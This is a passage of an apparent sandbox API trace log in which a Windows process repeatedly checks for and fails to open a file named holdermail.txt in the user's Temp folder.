	[0089.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.443] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.443] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.444] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.444] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.444] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.444] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.444] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.445] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.445] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.445] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.445] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.446] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.446] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.446] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.446] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.447] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.447] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.447] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.451] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.452] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.452] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.452] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.453] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.453] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.453] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.453] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.453] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.454] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.454] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.454] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.454] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.454] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.454] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.454] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.455] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.455] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.455] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.455] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.455] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.455] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.456] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.456] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.456] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.456] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.457] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.457] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.457] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.458] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.458] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.458] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.458] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.458] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.458] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.459] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.459] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.459] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.459] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.459] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.459] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.460] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.460] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.460] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.460] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.460] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.461] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.461] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.461] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.461] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.462] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
